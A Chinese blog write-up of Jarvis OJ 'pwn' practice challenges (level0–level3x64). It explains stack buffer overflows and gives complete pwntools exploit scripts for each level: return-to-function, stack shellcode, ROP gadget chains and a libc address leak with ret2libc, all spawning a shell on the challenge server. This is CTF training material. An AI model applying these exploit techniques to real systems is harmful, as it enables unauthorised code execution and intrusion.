登录后台

页面导航

本文编写于 459 天前,最后修改于 124 天前,其中某些信息可能已经过时。

0x00 前言

持续更新.......

0x01 level0

1.先来看下基本信息,64位动态链接程序,开启了堆栈执行保护NX;

clipboard.png

2.ida里跑一下,f5查看伪代码

clipboard(1).png

再看下vulnerable_function()函数,发现read存在缓存区溢出
buf大小是80h,再加上8h,于是offset=0x88=136,

clipboard(2).png

3.然后发现callsystem函数里面有“/bin/sh”,想到了payload构造方法为 padding + ret_adr

clipboard(3).png

构造exp

from pwn import *

#io = process('./level0')
io = remote('pwn2.jarvisoj.com', '9881')
payload = 'A'*136 + p64(0x40059A)
io.sendline(payload)
io.interactive()

0x02 level1

1.看基本信息:32为动态链接程序,什么保护都没开

clipboard(4).png

尝试运行了两次,发现两次的输出不一样

clipboard(5).png

2.ida查看伪代码,vulnerable_function()函数中read可能存在缓存区溢出
运行程序时输出的地址是buf的地址,每次都在变化

clipboard(6).png

3.没有找到system函数和“/bin/sh”,但是nx没有开,我们可以将shell写到栈上,将shellcode放到buf的首地址,溢出后将返回地址改成buf的首地址,payload结构为 shellcode+padding+ret_addr

clipboard(7).png

4.构造exp

from pwn import *

#io = process('./level1')
io = remote('pwn2.jarvisoj.com', '9877')
shellcode = asm(shellcraft.sh())
buf_addr = io.recvline()[14:-2]
payload = shellcode + 'a'* (140-len(shellcode)) + p32(int(buf_addr,16))
io.sendline(payload)
io.interactive()

0x03 level2

1.基本信息:32为动态链接程序,开启了NX保护

clipboard(8).png

2.ida查看伪代码,找到了read函数,可能存在栈溢出

clipboard(9).png

3.找到了system函数,用 ROPgadget --binary level2 --string ’/bin/sh‘ 找到“/bin/sh“字符串,
但是“/bin/sh”没有在system函数里面,于是需要通过调用system(“/bin/sh”)构造伪栈帧获得shell,将buf的返回地址用system函数地址覆盖,system函数的返回地址随意填充

clipboard(10).png

4.构造exp

from pwn import *

#io = process('./level2')
io = remote('pwn2.jarvisoj.com', '9878')
sys_addr = 0x08048320
bin_addr = 0x0804a024
payload = 'a'*140 + p32(sys_addr) + 'aaaa' + p32(bin_addr)
io.sendline(payload)
io.interactive()

0x04 level2x64

1.基本信息:64为动态链接程序,开启了NX保护

clipboard(11).png

2.gdb查看,发现有system函数,用ROPgadget找到了“/bin/sh”,思路和32位的程序基本一样,32位通过栈传参,64位用edi寄存器传参,因此需要给edi寄存器传参,使用pop edi可以将当前的栈顶元素传给edi寄存器,在执行pop语句时,只要保证栈顶元素是”/bin/sh”的地址,并将返回地址设置为system

clipboard(12).png

3.获取pop edi ret语句的方法

ROPgadget --binary level2_x64 --only "pop|ret"|grep rdi

system函数和“/bin/sh”直接可以在ida中找到
4.构造exp

from pwn import *

#io = process('./level2_x64')
io = remote("pwn2.jarvisoj.com","9882")
elf = ELF('./level2_x64')
bin_addr = 0x0000000000600A90
rdi_addr = 0x00000000004006b3
sys_addr = 0x000000000040063E
payload = 'a'*136 + p64(rdi_addr) + p64(bin_addr) + p64(sys_addr)
io.sendline(payload)
io.interactive()

0x05 level3

1.基本信息:32位动态链接程序,开启了NX保护

clipboard(13).png

2.ida查看伪代码,发现vulnerable_function()函数存在缓存区溢出漏洞,没有找到system和“/bin/sh”

clipboard(14).png

3.文件附带了一个 libc-2.19.so ,可以从这个文件获得system函数和“/bin/sh”的地址

clipboard(15).png

发现开启了所有保护,参照大佬的思路,大致思想为:libc里的地址是随机的,但是函数的相对地址是不变的,于是只需要知道其中某一个函数的地址,再利用相对位移计算出我们所需要的函数的地址,如果知道read或write函数的地址就可以计算出。

clipboard(16).png

参照这位师傅的步骤,一步步尝试
readelf -a ./libc-2.19.so |grep "read@"
readelf -a ./libc-2.19.so |grep "system@"
readelf -a ./libc-2.19.so |grep "exit@"
strings -a -t x ./libc-2.19.so | grep "/bin/sh"
这四条语句获取函数的相对位置
950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0
16084c /bin/sh
4.构造exp

clipboard(17).png

按参数顺序构造输入,write函数返回值设置为vul函数是为了再次调用read函数,来进行第二次攻击,此次就是调用system函数。
clipboard(18).png

exp如下;

from pwn import *

#io = process('./level3')
io = remote("pwn2.jarvisoj.com","9879")
elf = ELF('./level3')
libc=ELF('./libc-2.19.so')
write_addr=elf.symbols['write']
vul_addr=elf.symbols['vulnerable_function']
got_addr=elf.got['write']
payload1="a"*140+p32(write_addr)+p32(vul_addr)+p32(1)+p32(got_addr)+p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr=u32(io.recv(4))

libc_write=libc.symbols['write']
libc_system=libc.symbols['system']
libc_sh=libc.search('/bin/sh').next()
system_addr=write_addr-libc_write+libc_system 
sh_addr=write_addr-libc_write+libc_sh
payload2='A'*140+p32(system_addr)+"aaaa"+p32(sh_addr)
io.sendline(payload2)
io.interactive()

0x06 level3x64

1.查看基本信息:64位动态,Level3x64开启了NX,libc保护全开了

clipboard(19).png

2.其他和32位程序一样,思路也大致相同,64位与32位的区别在传参上,借用下大佬的总结

clipboard(20).png

write函数有三个参数,所以需要rdi,rsi,rdx这三个寄存器传参,所以可以先跳过第三个参数(读入长度),写好exp之后可以调试下,查看在调用函数之前,rdx的值,如果rdx值>=8,那么就不需要处理,

clipboard(21).png

3.构造exp
可借助level2x64的特性和level3的思路

from pwn import *

p=remote("pwn2.jarvisoj.com", "9883")
elf=ELF('./level3_x64')
libc=ELF('./libc-2.19.so')

vuladdr=0x4005e6
writeplt=elf.symbols['write']
writegot=elf.got['write']
rdiset=0x00000000004006b3 
rsiset=0x00000000004006b1 

payload0="a"*0x88
payload0+=p64(rdiset)+p64(1)
payload0+=p64(rsiset)+p64(writegot)
payload0+=p64(8)
payload0+=p64(writeplt)+p64(vuladdr)

p.recvuntil("Input:\n")
p.sendline(payload0)
writeaddr=u64(p.recv(8))

sysoffest=libc.symbols['system']
binoffest=libc.search('/bin/sh').next()

systemaddr=writeaddr-libc.symbols['write']+sysoffest
binshaddr=writeaddr-libc.symbols['write']+binoffest

payload1='a'*0x88
payload1+=p64(rdiset)+p64(binshaddr)
payload1+=p64(systemaddr)+p64(8)

p.recvuntil("Input:\n")
p.sendline(payload1)
p.interactive()